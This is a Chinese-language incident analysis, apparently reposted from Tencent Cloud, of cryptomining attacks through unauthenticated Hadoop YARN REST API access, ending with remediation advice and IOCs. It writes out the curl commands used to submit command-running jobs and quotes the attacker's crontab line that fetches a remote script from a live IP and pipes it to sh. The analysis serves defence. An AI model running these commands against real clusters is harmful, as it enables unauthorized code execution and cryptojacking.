Hadoop Yarn REST API未授权漏洞利用挖矿分析
目錄
一、背景情況?
二、 漏洞說明?
攻擊步驟:
三、入侵分析
四、安全建議
清理病毒
安全加固
五、IOCs
一、背景情況?
5月5日騰訊云安全曾針對攻擊者利用Hadoop Yarn資源管理系統(tǒng)REST API未授權(quán)漏洞對服務(wù)器進(jìn)行攻擊,攻擊者可以在未授權(quán)的情況下遠(yuǎn)程執(zhí)行代碼的安全問題進(jìn)行預(yù)警,在預(yù)警的前后我們曾多次捕獲相關(guān)的攻擊案例,其中就包含利用該問題進(jìn)行挖礦,我們針對其中一個(gè)案例進(jìn)行分析并提供響應(yīng)的安全建議和解決方案。
?
二、 漏洞說明?
Hadoop是一個(gè)由Apache基金會所開發(fā)的分布式系統(tǒng)基礎(chǔ)架構(gòu),YARN是hadoop系統(tǒng)上的資源統(tǒng)一管理平臺,其主要作用是實(shí)現(xiàn)集群資源的統(tǒng)一管理和調(diào)度,可以把MapReduce計(jì)算框架作為一個(gè)應(yīng)用程序運(yùn)行在YARN系統(tǒng)之上,通過YARN來管理資源。簡單的說,用戶可以向YARN提交特定應(yīng)用程序進(jìn)行執(zhí)行,其中就允許執(zhí)行相關(guān)包含系統(tǒng)命令。
YARN提供有默認(rèn)開放在8088和8090的REST API(默認(rèn)前者)允許用戶直接通過API進(jìn)行相關(guān)的應(yīng)用創(chuàng)建、任務(wù)提交執(zhí)行等操作,如果配置不當(dāng),REST API將會開放在公網(wǎng)導(dǎo)致未授權(quán)訪問的問題,那么任何黑客則就均可利用其進(jìn)行遠(yuǎn)程命令執(zhí)行,從而進(jìn)行挖礦等行為。
攻擊步驟:
1.?申請新的application
直接通過curl進(jìn)行POST請求
curl -v -X POST?
'http://ip:8088/ws/v1/cluster/apps/new-application'
返回內(nèi)容類似于:
2. 構(gòu)造并提交任務(wù)
構(gòu)造json文件1.json,內(nèi)容如下,其中application-id對應(yīng)上面得到的id,命令內(nèi)容為嘗試在/var/tmp目錄下創(chuàng)建11112222_test_111122222文件,內(nèi)容也為111:
然后直接
curl -s -i -X POST?-H 'Accept: application/json'?-H 'Content-Type:application/json'?
http://ip:8088/ws/v1/cluster/apps --data-binary @1.json
即可完成攻擊,命令被執(zhí)行,在相應(yīng)目錄下可以看到生成了對應(yīng)文件
更多漏洞詳情可以參考
http://bbs.qcloud.com/thread-50090-1-1.html
?
三、入侵分析
在本次分析的案例中,受害機(jī)器部署有Hadoop?YARN,并且存在未授權(quán)訪問的安全問題,黑客直接利用開放在8088的REST API提交執(zhí)行命令,來實(shí)現(xiàn)在服務(wù)器內(nèi)下載執(zhí)行.sh腳本,從而再進(jìn)一步下載啟動(dòng)挖礦程序達(dá)到挖礦的目的。
整個(gè)利用過程相對比較簡單,通過捕捉Hadoop?的launch_container.sh執(zhí)行腳本,我們可以看到其中一個(gè)案例中相關(guān)任務(wù)執(zhí)行的命令:
可以很明顯的看到第8行位置,從185.222.210.59下載并執(zhí)行了一個(gè)名為x_wcr.sh的腳本。
在實(shí)際過程中,我們從多個(gè)案例捕獲了多個(gè)比如名為cr.sh的不同腳本,但實(shí)際的功能代碼都差不多,我們對其中一個(gè)x_wcr.sh腳本進(jìn)行分析,代碼自上而下內(nèi)容:
這部分代碼主要針對已存在的挖礦進(jìn)程、文件進(jìn)行清理。
這部分的代碼主要是判斷如果/tmp/java是一個(gè)存在并且可寫的文件,那么就判斷其MD5值是否匹配,MD5不匹配則根據(jù)w.conf關(guān)鍵詞查找并kill進(jìn)程;如果非可寫的文件,則重新賦值DIR變量,這個(gè)變量主要用于后面部分代碼中下載挖礦等程序存放目錄。
然后接著是一些變量的賦值,包括再次判斷如果/tmp/java是一個(gè)目錄,則重新賦值DIR變量;判斷curl和wget命令是否存在,存在則賦值到WGET變量;f2則是賦值為某個(gè)IP,實(shí)則為是后續(xù)下載相關(guān)文件的服務(wù)器之一。
這部分代碼是其中比較核心的代碼,通過downloadIfNeed方法下載挖礦程序到$DIR目錄下并重命名為java,下載w.conf配置文件,給挖礦程序增加執(zhí)行權(quán)限,然后以nohup命令后臺運(yùn)行挖礦程序并刪除配置文件;接著檢查crontab中的任務(wù),如果不存在對應(yīng)的任務(wù),就將下載執(zhí)行腳本的任務(wù)"* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1"添加到其中,這里$LDR為wget -q -O -或者curl,任務(wù)每分鐘執(zhí)行一次。
腳本中還包含了幾個(gè)嵌套調(diào)用的download方法,入口方法是downloadIfNeed:
這個(gè)方法的核心功能還是校驗(yàn)已存在的挖礦程序的MD5,如果無法驗(yàn)證或者文件不存在的情況,則直接調(diào)用download方法下載挖礦程序;如果文件存在但MD5匹配不正確,則調(diào)用download方法后再次驗(yàn)證,驗(yàn)證失敗則嘗試從另外一個(gè)下載渠道https://transfer.sh/WoGXx/zzz下載挖礦程序并再次驗(yàn)證。最后還將相關(guān)結(jié)果上報(bào)到目標(biāo)服務(wù)器$f2的re.php.
tmp.txt內(nèi)容示例:
download方法判斷ppc文件的存在與否和 MD5是否匹配,如果不存在或MD5不匹配則調(diào)用download2下載,如果存在則復(fù)制重名為java。
download2方法則判斷系統(tǒng)下載對應(yīng)版本的挖礦程序,其中http://185.222.210.59/g.php返回的是另外一個(gè)IP地址;下載成功后則再次驗(yàn)證,并復(fù)制重命名為ppc。
在腳本的最后部分還有一些進(jìn)程、文件、crontab清理的處理,用pkill刪除滿足條件的進(jìn)程,刪除tmp目錄下pscd開頭的文件,以及說刪除crontab中存在某些關(guān)鍵詞的任務(wù)。
至此,我們完成整個(gè)腳本的分析,雖然整個(gè)腳本比較冗長,而且似乎各個(gè)函數(shù)嵌套調(diào)用,涉及文件也眾多,但其實(shí)整體就做了以下幾件事:
1.清理相關(guān)的進(jìn)程、文件和crontab任務(wù)
2.判斷并下載挖礦程序,同時(shí)校驗(yàn)MD5值,除了黑客自己控制的服務(wù)器,還利用https://transfer.sh提供備用下載,多種方式保障
3.增加腳本下載執(zhí)行任務(wù)添加到crontab里
其實(shí),我們通過查看YARN的日志文件
yarn-root-nodemanager-master.hadoop.log
也可能看到相應(yīng)的痕跡:
或者我們通過管理UI查看application詳情:
而crontab的任務(wù)日志也能看到相關(guān)的執(zhí)行記錄:
最終在/var/tmp目錄下也能找到相關(guān)的文件
?
四、安全建議
清理病毒
1.使用top查看進(jìn)程,kill掉異常進(jìn)程
2.檢查/tmp和/var/tmp目錄,刪除java、ppc、w.conf等異常文件
3.檢查crontab任務(wù)列表,刪除異常任務(wù)
4.排查YARN日志,確認(rèn)異常的application,刪除處理
安全加固
1.通過iptables或者安全組配置訪問策略,限制對8088等端口的訪問
2.如無必要,不要將接口開放在公網(wǎng),改為本地或者內(nèi)網(wǎng)調(diào)用
3.升級Hadoop到2.x版本以上,并啟用Kerberos認(rèn)證功能,禁止匿名訪問
4.云鏡當(dāng)前已支持該漏洞檢測,同時(shí)也支持挖礦木馬的發(fā)現(xiàn),建議安裝云鏡并開通專業(yè)版,及時(shí)發(fā)現(xiàn)漏洞并修復(fù)或者在中馬后能及時(shí)收到提醒進(jìn)行止損
5.更多自檢和修復(fù)建議可以參考
http://bbs.qcloud.com/thread-50090-1-1.html
?
五、IOCs
錢包地址
4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
MD5
1.c8c1f2da51fbd0aea60e11a81236c9dc
2.183664ceb9c4d7179d5345249f1ee0c4
3.b00f4bbd82d2f5ec7c8152625684f853
礦池地址
1.158.69.133.20:3333
2.192.99.142.249:3333
3.202.144.193.110:3333
4.46.30.43.159:80
部分相關(guān)URL
1.?http://185.222.210.59/x_wcr.sh
2.?http://185.222.210.59/re.php
3.?http://185.222.210.59/g.php
4.?http://185.222.210.59/w.conf
5.?http://185.222.210.59/cr.sh
6.?http://192.99.142.226:8220/w.conf
7.?http://192.99.142.226:8220/xm64
8.?http://192.99.142.226:8220/cr.sh
9.?http://95.142.40.83/xm64
10.?http://95.142.40.83/xm32
11.?https://transfer.sh/1o3Kj/zzz
12.?https://transfer.sh/wbl5H/pscf
13.?https://transfer.sh/WoGXx/zzz
總結(jié)
以上是生活随笔為你收集整理的Hadoop Yarn REST API未授权漏洞利用挖矿分析的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 请不要做个浮躁的人
- 下一篇: Spark NaiveBayes Dem